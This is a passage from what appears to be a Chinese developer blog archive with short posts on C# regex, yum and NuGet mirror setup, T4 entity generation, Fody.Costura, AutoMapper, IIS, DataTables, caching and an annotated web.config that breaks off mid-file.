写法二： ^([1-9][0-9]{14}|[1-9][0-9]{16}[0-9X])$

练习3：判断字符串是否为正确的国内电话号码，不考虑分机。

•010-8888888或010-88888880或010xxxxxxx

•0335-8888888或0335-88888888（区号-电话号）03358888888

•10086、10010、95595、95599、95588（5位）

•13888888888（11位都是数字）

Regex.IsMatch(phoneNumber, @“^((\d{3,4}\-?\d{7,8})|(\d{5})|(\d{11}))$”);
//或者
Regex.IsMatch(phoneNumber, @“^((\d{3,4}\-?\d{7,8})|(\d{5}))$”);

按照要求一个一个写，都用|连起来。注意：由于区号有时为010-xxxxxxx有时为010xxxxxxx，-可有可无，所以需要?,由于-表示一个区间，所以这里要转义-。最后不要忘记在所有|的最外层加一对()

Regex.Match() / Matches()

string msg = "大家好呀，hello,2010年10月10日是个好日子。恩，9494.吼吼！886.";
Match match1 = Regex.Match(msg, @"\d", RegexOptions.ECMAScript); //提取得到 2  （逐个提取）
Match match2 = Regex.Match(msg, @"\d+", RegexOptions.ECMAScript); //提取得到2010

 //提取所有的匹配的字符串
 MatchCollection matches = Regex.Matches(msg, @"\d+", RegexOptions.ECMAScript);
 for (int i = 0; i < matches.Count; i++)
 {
      Console.WriteLine(matches[i].Value);
 }
 Console.ReadLine();

打印结果：

yum的基本使用以及替换国内源

Thu, 16 May 2019 00:00:00 +0000

yum源管理

1.备份原有的yum源，以防出错时还可以还原

mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup

2.下载同时改名

wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

#其他源
wget  http://mirrors.163.com/.help/CentOS7-Base-163.repo  #centos7系统的
wget  http://mirrors.163.com/.help/CentOS6-Base-163.repo  #centos6系统的
wget  http://mirrors.163.com/.help/CentOS5-Base-163.repo  #centos5系统的
（注：如果下载出现错误，可能是变更了下载的地址，可以到：http://mirrors.163.com/.help/centos.html 找新的下载地址。没有安装wget的，要先安装。）

3.产生新的缓存。

yum clean all
yum makecache

至此源更新完成，可以 yum -y update 测试一下更新的速度。

安装软件

以安装Docker为例

安装最新版

yum install -y docker-ce docker-ce-cli containerd.io

安装指定版本

列出可用版本

$ yum list docker-ce --showduplicates | sort -r

docker-ce.x86_64  3:18.09.1-3.el7                     docker-ce-stable
docker-ce.x86_64  3:18.09.0-3.el7                     docker-ce-stable
docker-ce.x86_64  18.06.1.ce-3.el7                    docker-ce-stable
docker-ce.x86_64  18.06.0.ce-3.el7                    docker-ce-stable

安装指定版本

<VERSION_STRING>需要替换为第二列的版本号，如：18.06.0.ce-3.el7

$ sudo yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io

其他

源目录：

Net Core 3.x 禁用序列化时自动首字母小写

Mon, 11 Mar 2019 00:00:00 +0000

public void ConfigureServices(IServiceCollection services)
{
    services.AddControllers().AddJsonOptions(config =>
    {
        //去掉转小写功能
        // System.Text.Json.JsonNamingPolicy.CamelCase：转小写 
        // null:不转小写
        config.JsonSerializerOptions.PropertyNamingPolicy =null;

    });
}

NuGet源中国加速镜像，博客园，华为等

Mon, 11 Mar 2019 00:00:00 +0000

打开Visual Studio => 工具 => NuGet包管理器 => 程序包管理器设置

NuGet微软官方中国镜像地址：
https://nuget.cdn.azure.cn/v3/index.json

官方默认源：

https://api.nuget.org/v3/index.json

博客园：

https://nuget.cnblogs.com/v3/index.json

华为：

https://repo.huaweicloud.com/repository/nuget/v3/index.json

MyNuGet：
https://dotnet.myget.org/F/dotnet-core/api/v3/index.json

这是一个很激进的 NuGet 源，包含各种日构建包（其中包括 .NET Standard 或者 .NET Core 等库的日构建版本），所以如果你希望尝试最新的 API 最新的功能，最好设置此 NuGet 源。

早期版本：

https://www.nuget.org/api/v2/
https://nuget.org/api/v2/

T4模板生成多个文件映射整个库表

Mon, 11 Mar 2019 00:00:00 +0000

<#@ output extension="txt" #>
<#@ template debug="false" hostspecific="true" language="C#" #>
<#@ assembly name="System.Data" #>
<#@ assembly name="System.xml" #>
<#@ import namespace="System.Collections.Generic" #>
<#@ import namespace="System.Data.SqlClient" #>
<#@ import namespace="System.Data" #>
<#@ assembly name="System.Core" #>
<#@ import namespace="System.Linq" #>
<#@ include file="MultiOutput.tt" #>
<#
    string connectionString= "server=.;database=57blogDB;uid=sa;pwd=123;";        
    SqlConnection conn = new SqlConnection(connectionString);
    conn.Open();
    
    string selectQuery ="SET FMTONLY ON; select * from @tableName; SET FMTONLY OFF;";
    SqlCommand command = new SqlCommand(selectQuery,conn);
    SqlDataAdapter ad = new SqlDataAdapter(command);
    System.Data.DataSet ds = new DataSet(); 
    System.Data.DataTable schema = conn.GetSchema("Tables");

    foreach(System.Data.DataRow row in schema.Rows)
    {    
        ds.Tables.Clear();
        string tb_name = row["TABLE_NAME"].ToString();        
        command.CommandText = selectQuery.Replace("@tableName",row["TABLE_NAME"].ToString());
        ad.FillSchema(ds,SchemaType.Mapped,tb_name);  
        string  content=tb_name.ToString();
       // manager.StartNewFile(tb_name+".cs");
#>
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Data;
using System.Data.OleDb;
using System.Configuration;
using System.Data.SqlClient;
using System;
namespace MyProject.Entities
{    

    public class <#= content#>Model      
    {     
      //-------------------------------------------
<#
    string selectQueryt = "select * from "+content;
    string tableName=content;
    System.Data.DataTable schemat = null;
    SqlCommand selectcommandt = new SqlCommand(selectQueryt, conn);
    SqlDataAdapter sdat = new SqlDataAdapter(selectcommandt);
    System.Data.DataSet dsst = new   System.Data.DataSet();
    sdat.Fill(dsst);
    schemat=dsst.Tables[0];
    System.Data.DataTable   dt = dsst.Tables[0];
    foreach (DataColumn dc in dsst.Tables[0].Columns)
    {#>
        private <#= dc.DataType.Name #> _<#= dc.ColumnName.Replace(dc.ColumnName[0].ToString(), dc.ColumnName[0].ToString().ToLower()) #>;
        /// <summary>
        /// <#= dc.ColumnName #>
        /// </summary>   
        public <#= dc.DataType.Name #> <#= dc.ColumnName #>
        {
            get { return _<#= dc.ColumnName.Replace(dc.ColumnName[0].ToString(), dc.ColumnName[0].ToString().ToLower()) #>; }
            set { _<#= dc.ColumnName.Replace(dc.ColumnName[0].ToString(), dc.ColumnName[0].ToString().ToLower()) #> = value; }                              
        } 
  <#}#>
       //-------------------------------------------------
    }   
}
 <# SaveOutput(""+row["TABLE_NAME"].ToString()+".cs"); #>
<#
}
DeleteOldOutputs();
#>

把C#程序（含多个Dll）合并成一个exe的超简单方法

Mon, 11 Mar 2019 00:00:00 +0000

开发程序的时候经常会引用一些第三方的DLL，然后编译生成的exe文件就不能脱离这些DLL独立运行了。
但是，很多时候我们本想开发一款只需要一个exe就能完美运行的小工具。那该怎么办呢？
下文介绍一种超简单的方法，不用写一行代码就可轻松实现。
这里我们需要用到一款名为Fody.Costura的工具。Fody.Costura是一个Fody框架下的插件，可通过Nuget安装到VS工程中。安装之后，就可以将项目所依赖的DLL（甚至PDB）文件全部打包到EXE文件里。

使用方法

在VS中，通过Nuget为目标EXE工程安装Costura.Fody。
重新构建项目。

构建完成后，到项目的输出目录下找到新生成的EXE文件，你同时会发现输出目录下仍然存在那些DLL。不过不用担心，这个EXE已经能够独立运行了。你可以把这些DLL全部删除后再运行EXE试试。
另外，Fody.Costura还支持一些进阶的特性，例如：

临时程序集文件：在运行EXE前自动，自动将DLL从EXE中解压到文件夹系统中，再通过常规的方式加载该DLL。
合并非托管的DLL：Fody.Costura可以合并非托管的DLL，但是不会自动合。如果你的程序涉及非托管DLL，那么你需要通过修改Fody.Costura的配置文件来显示地告诉它你想合并哪些非托管的DLL。
预加载DLL：Fody.Costura可以帮助你在程序启动时预先加载某些DLL，你甚至可以指定这些DLL的加载顺序。

以上这些进阶特性都需要你通过修改Fody.Costura的配置文件来实现，具体的操作步骤可以参考它的官方文档。
好了，Fody.Costura的使用方式已经介绍完了。如果你对Fody.Costura的实现原理感到好奇，可以接着往下看。

实现原理介绍

当CLR试图加载一个程序集但加载失败时，它会引发AppDomain.AssemblyResolve事件。我们的程序可以监听这个事件，并且在这个事件的处理函数中返回这个CLR试图加载的程序集，从而使程序得以继续正常运行。
Fody.Costura在构建项目时会把EXE引用到的DLL全部嵌入到EXE文件中。当程序在运行的过程中用到其中某个DLL的时候（此时由于CLR无法找到该DLL文件，导致AppDomain.AssemblyResolve事件被触发）再从EXE文件的嵌入资源中提取所需的DLL。
下面这两个函数就是Fody.Costura实现这部分逻辑的代码。

public static void Attach()
{
   var currentDomain = AppDomain.CurrentDomain;
   currentDomain.AssemblyResolve += (s, e) => ResolveAssembly(e.Name);
}
public static Assembly ResolveAssembly(string assemblyName)
{
   if (nullCache.ContainsKey(assemblyName))
   {
      return null;
   }    

   var requestedAssemblyName = new AssemblyName(assemblyName);    

   var assembly = Common.ReadExistingAssembly(requestedAssemblyName);
   if (assembly != null)
   {
      return assembly;
   }    

   Common.Log("Loading assembly '{0}' into the AppDomain", requestedAssemblyName);    

   assembly = Common.ReadFromEmbeddedResources(assemblyNames, symbolNames, requestedAssemblyName);
   if (assembly == null)
   {
      nullCache.Add(assemblyName, true);    

      // Handles retargeted assemblies like PCL
      if (requestedAssemblyName.Flags == AssemblyNameFlags.Retargetable)
      {
         assembly = Assembly.Load(requestedAssemblyName);
      }
   }
   return assembly;
}

可以看到，Attach方法监听了AppDomain.AssemblyResolve事件。当CLR无法成功加载某个程序集时， AssemblyResolve事件处理函数会被执行。AssemblyResolve会尝试通过Common.ReadFromEmbeddedResources方法从已加载的程序集的嵌入资源中获取目标程序集，并返回给CLR。
看到这里，你可能会问，Attach方法是在什么时候执行的呢？
其实是这样的，对于C#语言来说，CLR隐藏了一个大招——CLR可以在每个模块（每个程序集都含有一个或多个模块）加载之前执行一些初始化的代码。但是很遗憾，C#语言无法控制这部分代码。Fody.Costura则是在内部将IL代码直接注入到EXE程序集内部模块的初始化函数中，而这部分IL代码其实就是执行了Attach方法。这样一来，EXE程序集被加载后，Attach方法就能够立即得到调用了。
以上就是Fody.Costura实现原理的简单介绍。

问题解决：

如果安装失败替换一下源地址

F5负载均衡架构图

Mon, 06 Aug 2018 00:00:00 +0000

鸣谢：

https://blog.csdn.net/qq_35611533/article/details/51917279?locationNum=1&fps=1

DotNet Core AutoMapper实体映射学习记录

Sun, 11 Mar 2018 00:00:00 +0000

AutoMapper:实体间的映射(数据库Model转Dto)

1、创建Model

using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;

namespace AutoMapperDemo
{
    public class Entity
    {
    }

    public class PostModel
    {
        public Guid Id { get; set; }
        public long SerialNo { get; set; }
        public string Title { get; set; }
        public string Author { get; set; }
        public string Image { get; set; }
        public short CategoryCode { get; set; }
        public bool IsDraft { get; set; }
        public string Content { get; set; }
        public DateTime ReleaseDate { get; set; }
        public virtual IList<CommentModel> Comments { get; set; }
    }
    public class CommentModel
    {
        public Guid Id { get; set; }

        public string Email { get; set; }

        public string Content { get; set; }

        public DateTime CommentDate { get; set; }
    }
}

2、创建Dto

using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;

namespace AutoMapperDemo
{
    public class ViewModel
    {
    }
    public class PostViewModel
    {
        public Guid Id { get; set; }
        public long SerialNo { get; set; }
        public string Title { get; set; }
        public string Author { get; set; }
        public short CategoryCode { get; set; }
        public string Category => CategoryCode == 1001 ? ".NET" : "杂谈";
        public string ReleaseDate { get; set; }
        public short CommentCounts { get; set; }
        public virtual int Count { get; set; }
    }
}

3、创建映射规则

using AutoMapper;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Linq;
using System.Threading.Tasks;

namespace AutoMapperDemo
{
    public class PostProfile : Profile
    {
        /// <summary>
        /// ctor
        /// </summary>
        public PostProfile()
        {
            // 配置 mapping 规则
            //
            CreateMap<PostModel, PostViewModel>()
                .ForMember(destination => destination.CommentCounts, source => source.MapFrom(i => i.Comments.Count()))
                .ForMember(destination => destination.ReleaseDate, source => source.ConvertUsing(new DateTimeConverter()));
        }
    }

    public class DateTimeConverter : IValueConverter<DateTime, string>
    {
        public string Convert(DateTime source, ResolutionContext context)
            => source.ToString("yyyy-MM-dd HH:mm:ss");
    }
}

4、创建mapper扩展

映射规则注入

win10 IIS 10.0 无法安装 URL Rewrite Module 重写模块

Sun, 11 Mar 2018 00:00:00 +0000

+++

打开注册表编辑器，在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InetStp位置

把MajorVersion的值改为9之后，就可以安装了，安装完成之后，再把MajorVersion的值改回10，重启一下iis。

sitemap和sitemapindex

Wed, 17 May 2017 00:00:00 +0000

介绍：
https://support.google.com/webmasters/answer/75712?hl=zh-Hans

实例：
http://www.thepaper.cn/sitemap.xml

<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<sitemap>
<loc>http://www.thepaper.cn/sitemap-1.xml</loc>
<lastmod>2017-10-13</lastmod>
</sitemap>
<sitemap>
<loc>http://www.thepaper.cn/asktopic.xml</loc>
<lastmod>2017-10-13</lastmod>
</sitemap>
<sitemap>
<loc>http://www.thepaper.cn/newsDetail-7.xml</loc>
<lastmod>2017-10-13</lastmod>
</sitemap>
<sitemap>
<loc>http://www.thepaper.cn/newsDetail-6.xml</loc>
<lastmod>2017-10-13</lastmod>
</sitemap>
<sitemap>
<loc>http://www.thepaper.cn/newsDetail-5.xml</loc>
<lastmod>2017-10-13</lastmod>
</sitemap>
<sitemap>
<loc>http://www.thepaper.cn/newsDetail-4.xml</loc>
<lastmod>2017-10-13</lastmod>
</sitemap>
<sitemap>
<loc>http://www.thepaper.cn/newsDetail-3.xml</loc>
<lastmod>2017-10-13</lastmod>
</sitemap>
<sitemap>
<loc>http://www.thepaper.cn/newsDetail-2.xml</loc>
<lastmod>2017-10-13</lastmod>
</sitemap>
<sitemap>
<loc>http://www.thepaper.cn/newsDetail-1.xml</loc>
<lastmod>2017-10-13</lastmod>
</sitemap>
</sitemapindex>

jqurey datatable tableTools 自定义button元素以及按钮定义事件

Sat, 13 May 2017 00:00:00 +0000

版本 1.10.4

"dom": 'T<"clear">lfrtip',
            "tableTools": {
                //"sSwfPath": "~/Resources/Scripts/plugins/DataTables/swf/copy_csv_xls_pdf.swf"

                "sRowSelect": "multi",
                "aButtons": [
                       //{ "sExtends": "new_record", "sButtonText": "Add" },
                       {
                           "sExtends": "select", "sButtonText": "Delete Recods",
                           "fnClick": function (nButton, oConfig, oFlash) {
                               //delete stuff comes here 
                               alert('test');
                           }

                       }
                ]
            }

全部代码：

@Styles.Render("~/bundles/css/datatable")
@*<script src="~/Resources/Scripts/plugins/DataTables/js/dataTables.tableTools.js"></script>
    <link href="~/Resources/Scripts/plugins/DataTables/css/data-table.css" rel="stylesheet" />*@
<div>
    <ol class="breadcrumb pull-right">
        @if (ViewBag.Breadcrumbs != null)
        {
            var dict = ViewBag.Breadcrumbs as Dictionary<string, string[]>;
            foreach (var dictItem in dict)
            {
                if (dictItem.Value == null)
                {
                    <li class="active">@dictItem.Key</li>
                }
                else
                {
                    <li>@Ajax.ActionLink(dictItem.Key, dictItem.Value[1], dictItem.Value[0], new AjaxOptions { UpdateTargetId = "content" })</li>
                }
            }
        }
    </ol>
    <h1 class="page-header">
        @*<small>操作日志管理</small>*@
    </h1>

</div>

<div class="row">
    <!-- begin col-12 -->
    <div class="col-md-12 ui-sortable">
        <!-- begin panel -->
        <div class="panel panel-inverse">
            <div class="panel-heading">
                <div class="panel-heading-btn">
                    <!----工具栏--->
                    <a href="javascript:;" class="btn btn-xs btn-icon btn-circle btn-default" data-click="panel-expand" data-original-title="" title=""><i class="fa fa-expand"></i></a>
                    <a href="javascript:;" class="btn btn-xs btn-icon btn-circle btn-success" data-click="panel-reload" data-original-title="" title=""><i class="fa fa-repeat"></i></a>
                    @*<a href="javascript:;" class="btn btn-xs btn-icon btn-circle btn-warning" data-click="panel-collapse"><i class="fa fa-minus"></i></a>*@
                    @*<a href="javascript:;" class="btn btn-xs btn-icon btn-circle btn-danger" data-click="panel-remove"><i class="fa fa-times"></i></a>*@
                </div>

                <h4 class="panel-title">
                    查看账户<button type="button" class="btn btn-success btn-xs" style="margin-left:20px"><i class="fa fa-plus"></i> 添加账户</button>
                </h4>

            </div>
            <div class="panel-body">

                <!--------------------表头开始------------------->
                <div class="table-responsive">
                    <div id="data-table_wrapper" class="dataTables_wrapper no-footer">
                        <table id="data-table" class="table table-striped table-bordered dataTable no-footer" role="grid" aria-describedby="data-table_info">
                            <thead>
                                <tr><th>ID</th><th>内容</th><th>时间</th><th>类别</th><th>域</th><th>用户名</th><th>操作</th></tr>
                            </thead>

                        </table>
                    </div>
                </div>
                <!--------------------表头结束------------------->
            </div>
        </div>
        <!-- end panel -->
    </div>
    <!-- end col-12 -->
</div>
@Scripts.Render("~/bundles/DataTable/js")
<script>

    //datatable 开始
    $(document).ready(function () {
        handlePanelAction();
        $('#data-table').dataTable({

            "oLanguage": {
                "sLengthMenu": "每页显示 _MENU_ 条记录",
                "sZeroRecords": "没有检索到数据",
                "sInfo": "从 _START_ 到 _END_ /共 _TOTAL_ 条数据",
                "sInfoEmpty": "没有数据",
                "sInfoFiltered": "(从 _MAX_ 条数据中检索)",
                "sSearch": "查找账户",
                "oPaginate": {
                    "sFirst": "首页",
                    "sPrevious": "前一页",
                    "sNext": "后一页",
                    "sLast": "尾页"
                }
            },
            "sServerMethod": "POST",
            "sAjaxSource": "@Url.Action("GetAllLog")",
            "bServerSide": true,
            "sPaginationType": "full_numbers",
            "aoColumns": [{
                "mData": "ID",
                "sDefaultContent": "",
                "bVisible": false
            },
            {
                "mData": "Content",
                "mRender": function (data, type, full) {
                    //插件固定参数   data:mData接受的数据   full:全部json

                    if (data.length > 20) {
                        data = data.substring(0, 20) + "...";
                    }
                    return "<a href='javascript:void(0)' onclick='myonclick(" + full.ID + ")'>" + data + "</a>"
                }

            },
             {
                 "mData": "CreateTime",
                 "sDefaultContent": "",
                 "sClass": "center",

             }, {
                 "mData": "Category",
                 "sDefaultContent": "",
                 "sClass": "center"
             }, {
                 "mData": "DomainID",
                 "sDefaultContent": "",
                 "sClass": "center"
             }, {
                 "mData": "AccountName",
                 "sDefaultContent": "",
                 "sClass": "center"
             },
             {
                 //删除
                 "mData": "ID",
                 "sDefaultContent": "",
                 "sClass": "center",
                 "mRender": function (data, type, full) {
                     //插件固定参数   data:mData接受的数据   full:全部json
                     return "<button  class='btn btn-danger' onclick='deleteData(" + data + ")'>删除</button>";
                 }

             }],
            "columnDefs": [{ "bSortable": false, "aTargets": [2, 3, 4, 5, 6] }],

            "dom": 'T<"clear">lfrtip',
            "tableTools": {
                //"sSwfPath": "~/Resources/Scripts/plugins/DataTables/swf/copy_csv_xls_pdf.swf"

                "sRowSelect": "multi",
                "aButtons": [
                       //{ "sExtends": "new_record", "sButtonText": "Add" },
                       {
                           "sExtends": "select", "sButtonText": "Delete Recods",
                           "fnClick": function (nButton, oConfig, oFlash) {
                               //delete stuff comes here
                               alert('test');
                           }

                       }
                ]
            }
        });
    });

    //datatable 结束




    function myconfirm() {
        return confirm("您确定？");
    };
    function deleteData(id) {
        if (confirm("确定删除？")) {
            alert("删除成功  " + id);
        } else {

        }

    }
    function myonclick(id) {
        $.ajax({
            url: "/LogManager/LogInfo?log_id=" + id,
            cache: false,
            success: function (html) {
                $("#content").html("");
                $("#content").append(html);
            }
        });


    };
</script>


@*<script type="text/javascript" language="javascript" class="init">
        $(document).ready(function () {
            var t = $('#data-table').DataTable();
            var counter = 1;
            $('#addRow').on('click', function () {
                t.row.add([
                    counter + '.1',
                    '<input type="button" value="button"/>',
                    '<a href="xxx">超链接</a>',
                    counter + '.4',
                    counter + '.5'
                ]).draw();

                counter++;
            });
            // Automatically add a first row of data
            $('#addRow').click();
        });
    </script>*@

DotNet Framework 类库自带的缓存 HttpRuntime.Cache HttpContext.Cache

Sat, 11 Mar 2017 00:00:00 +0000

系统自带两个cache类

在.NET运用中经常用到缓存(Cache)对象。有HttpContext.Current.Cache以及HttpRuntime.Cache，HttpRuntime.Cache是应用程序级别的，而HttpContext.Current.Cache是针对当前WEB上下文定义的。HttpRuntime下的除了WEB中可以使用外，非WEB程序也可以使用。

HttpRuntime.Cache 相当于就是一个缓存具体实现类，这个类虽然被放在了 System.Web 命名空间下了。但是非 Web 应用也是可以拿来用的。
HttpContext.Cache 是对上述缓存类的封装，由于封装到了 HttpContext ，局限于只能在知道 HttpContext 下使用，即只能用于 Web 应用。

综上所属，在可以的条件，尽量用 HttpRuntime.Cache ，而不是用 HttpContext.Cache 。

缓存数据规则

数据可能会被频繁的被使用，这种数据可以缓存。
数据的使用频率不高，但生存周期很长，这样的数据也可以加入缓存。

封装Helper

/*
 * 日期：2016-06-27
 */ 
using System;
using System.Web;
using System.Collections;

public class CacheHelper
{
    /**/
    /// <summary>
    /// 获取数据缓存
    /// </summary>
    /// <param name="CacheKey">键</param>
    public static object GetCache(string CacheKey)
    {
        System.Web.Caching.Cache objCache = HttpRuntime.Cache;
        return objCache[CacheKey];
    }

    /**/
    /// <summary>
    /// 设置数据缓存
    ///理论上永久保存,但服务器重启,内存紧张时也会丢失
    /// </summary>
    public static void SetCache(string CacheKey, object objObject)
    {
        System.Web.Caching.Cache objCache = HttpRuntime.Cache;
        objCache.Insert(CacheKey, objObject);
    }
    /// <summary>
    /// 设定绝对的过期时间
    /// </summary>
    /// <param name="CacheKey"></param>
    /// <param name="objObject"></param>
    /// <param name="seconds">超过多少秒后过期</param>
    public static void SetCacheDateTime(string CacheKey, object objObject, long Seconds)
    {
        System.Web.Caching.Cache objCache = HttpRuntime.Cache;
        objCache.Insert(CacheKey, objObject, null, System.DateTime.Now.AddSeconds(Seconds), TimeSpan.Zero);
    }


    /// <summary>
    /// 设置当前应用程序指定包含相对过期时间Cache值
    /// </summary>
    /// <param name="CacheKey"></param>
    /// <param name="objObject"></param>
    /// <param name="timeSpan">超过多少时间不调用就失效，单位是秒</param>
    public static void SetCacheTimeSpan(string CacheKey, object objObject, long timeSpan)
    {
        System.Web.Caching.Cache objCache = HttpRuntime.Cache;
        objCache.Insert(CacheKey, objObject, null, DateTime.MaxValue, TimeSpan.FromSeconds(timeSpan));
    }

    /**/
    /// <summary>
    /// 移除指定数据缓存
    /// </summary>
    public static void RemoveAllCache(string CacheKey)
    {
        System.Web.Caching.Cache _cache = HttpRuntime.Cache;
        _cache.Remove(CacheKey);
    }

    /**/
    /// <summary>
    /// 移除全部缓存
    /// </summary>
    public static void RemoveAllCache()
    {
        System.Web.Caching.Cache _cache = HttpRuntime.Cache;
        IDictionaryEnumerator CacheEnum = _cache.GetEnumerator();
        while (CacheEnum.MoveNext())
        {
            _cache.Remove(CacheEnum.Key.ToString());
        }
    }
}

DotNet IIS web.config配置文件说明详解

Sat, 11 Mar 2017 00:00:00 +0000

<?xml version="1.0"?>
<!--注意: 除了手动编辑此文件以外，您还可以使用 Web 管理工具来配置应用程序的设置。可以使用 Visual Studio 中的“网站”->“Asp.Net 配置”选项。
    设置和注释的完整列表在 machine.config.comments 中，该文件通常位于 "Windows"Microsoft.Net"Framework"v2.x"Config 中。-->

<!--Webconfig文件是一个xml文件，configuration是xml文件的根节点，由于xml文件的根节点只能有一个，所以Webconfig的所有配置都是在这个节点内进行的。-->
<configuration>

  <!--指定配置节和命名空间声明。
      clear:移除对继承的节和节组的所有引用，只允许由当前 section 和 sectionGroup 元素添加的节和节组。
      remove:移除对继承的节和节组的引用。
      section:定义配置节处理程序与配置元素之间的关联。
      sectionGroup:定义配置节处理程序与配置节之间的关联。-->
  <configSections>
    <sectionGroup name="system.web.extensions" type="System.Web.Configuration.SystemWebExtensionsSectionGroup, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
      <sectionGroup name="scripting" type="System.Web.Configuration.ScriptingSectionGroup, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
        <section name="scriptResourceHandler" type="System.Web.Configuration.ScriptingScriptResourceHandlerSection, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" requirePermission="false" allowDefinition="MachineToApplication"/>
      </sectionGroup>
    </sectionGroup>
    <section name="rewriter" type="Intelligencia.UrlRewriter.Configuration.RewriterConfigurationSectionHandler, Intelligencia.UrlRewriter" />
  </configSections>


  <!--appSettings是应用程序设置,可以定义应用程序的全局常量设置等信息-->
  <appSettings>
    <add key="1" value="1" />
    <add key="gao" value="weipeng" />
  </appSettings>


  <!--连接字符串设置-->
  <connectionStrings>
    <add name="ConnString" connectionString="Data Source=GAO;Initial Catalog=HBWXDate;User ID=sa;password=sa"></add>
    <add name="111" connectionString="11111" />
  </connectionStrings>


  <!--指定应用子配置设置的资源，并锁定配置设置，以防止它们被子配置文件重写。page指定应用包含的配置设置的资源.allowOverride是否允许配置文件的重写，提高配置文件的安全性-->
  <location path="Default.aspx" allowOverride="false">

    <!--控制asp.net运行时的行为-->
    <system.web>

      <!--identity控制web应用程序的身份验证标识.-->
      <identity impersonate="false" />

      <!--标识特定于页的配置设置（如是否启用会话状态、视图状态，是否检测用户的输入等）。
          <pages>可以在计算机、站点、应用程序和子目录级别声明.
          这里的几个属性的意思是：
          默认主页为Index,
          主题是Default，
          不检测用户在浏览器输入的内容中是否存在潜在的危险数据(注：该项默认是检测，如果你使用了不检测，一要对用户的输入进行编码或验证)，
          在从客户端回发页时将检查加密的视图状态，
          以验证视图状态是否已在客户端被篡改(注：该项默认是不验证)，
          禁用ViewState-->
      <pages masterPageFile="Index" theme="Default" buffer="true" enableViewStateMac="true" validateRequest="false" enableViewState="false">
        <!--controls 元素定义标记前缀所在的 register 指令和命名空间的集合-->
        <controls></controls>
        <!--将在程序集预编译期间使用的导入指令的集合-->
        <namespaces></namespaces>
      </pages>


      <!--默认错误页设置,mode:具有On,Off,RemoteOnly 3种状态。
          On表示始终显示自定义的信息; 
          Off表示始终显示详细的asp.net错误信息; 
          RemoteOnly表示只对不在本地Web服务器上运行的用户显示自定义信息.
          defaultRedirect:用于出现错误时重定向的URL地址-->
      <customErrors defaultRedirect="Err.html" mode="RemoteOnly">
        <!--特殊代码编号的错误从定向文件-->
        <error statusCode="403" redirect="NoAccess.htm" />
        <error statusCode="404" redirect="FileNotFound.htm" />
      </customErrors>


      <!--配置调试和跟踪:下面配置的意思是启动调试(默认),捕获跟踪信息,要缓存的跟踪请求个数(15),跟踪结果的排列顺序-->
      <trace enabled="true" localOnly="false" pageOutput="true" requestLimit="15" traceMode="SortByCategory"/>

      <!-- 设置 compilation debug="true" 将调试符号插入已编译的页面中。但由于这会影响性能，因此只在开发过程中将此值设置为 true。设置默认的开发语言C#。batch是否支持批处理-->
      <compilation debug="true" defaultLanguage="c#" batch="false">

        <!--加的程序集引用，每添加一个程序集，就表示你的应用程序已经依赖了一个程序集，你就可以在你的应用程序中使用了-->
        <assemblies>
          <add assembly="System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/>
          <add assembly="System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/>
          <add assembly="System.Web.Extensions.Design, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"/>
          <add assembly="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
          <add assembly="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/>
          <add assembly="System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
          <add assembly="System.Xml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
          <add assembly="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/>
          <add assembly="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/>
          <add assembly="System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/>
          <add assembly="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/>
        </assemblies>

        <!--定义用于编译自定义资源文件的生成提供程序的集合。-->
        <buildProviders>
          <!---->
          <add extension=".aspx" type="System.Web.Compilation.PageBuildProvider"/>
          <add extension=".ascx" type="System.Web.Compilation.UserControlBuildProvider"/>
          <add extension=".master" type="System.Web.Compilation.MasterPageBuildProvider"/>
          <add extension=".asmx" type="System.Web.Compilation.WebServiceBuildProvider"/>
          <add extension=".ashx" type="System.Web.Compilation.WebHandlerBuildProvider"/>
          <add extension=".soap" type="System.Web.Compilation.WebServiceBuildProvider"/>
          <add extension=".resx" type="System.Web.Compilation.ResXBuildProvider"/>
          <add extension=".resources" type="System.Web.Compilation.ResourcesBuildProvider"/>
          <add extension=".wsdl" type="System.Web.Compilation.WsdlBuildProvider"/>
          <add extension=".xsd" type="System.Web.Compilation.XsdBuildProvider"/>
          <add extension=".rdlc" type="Microsoft.Reporting.RdlBuildProvider, Microsoft.ReportViewer.Common, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/>
        </buildProviders>

      </compilation>


      <!--通过 <authentication> 节可以配置 ASP.NET 使用的 安全身份验证模式，以标识传入的用户。
          Windows: 使用IIS验证方式,Forms: 使用基于窗体的验证方式,
          Passport: 采用Passport cookie验证模式,
          None: 不采用任何验证方式-->
      <authentication mode="Forms">

        <!--Name: 指定完成身份验证的Http cookie的名称.
            LoginUrl: 如果未通过验证或超时后重定向的页面URL，一般为登录页面，让用户重新登录。
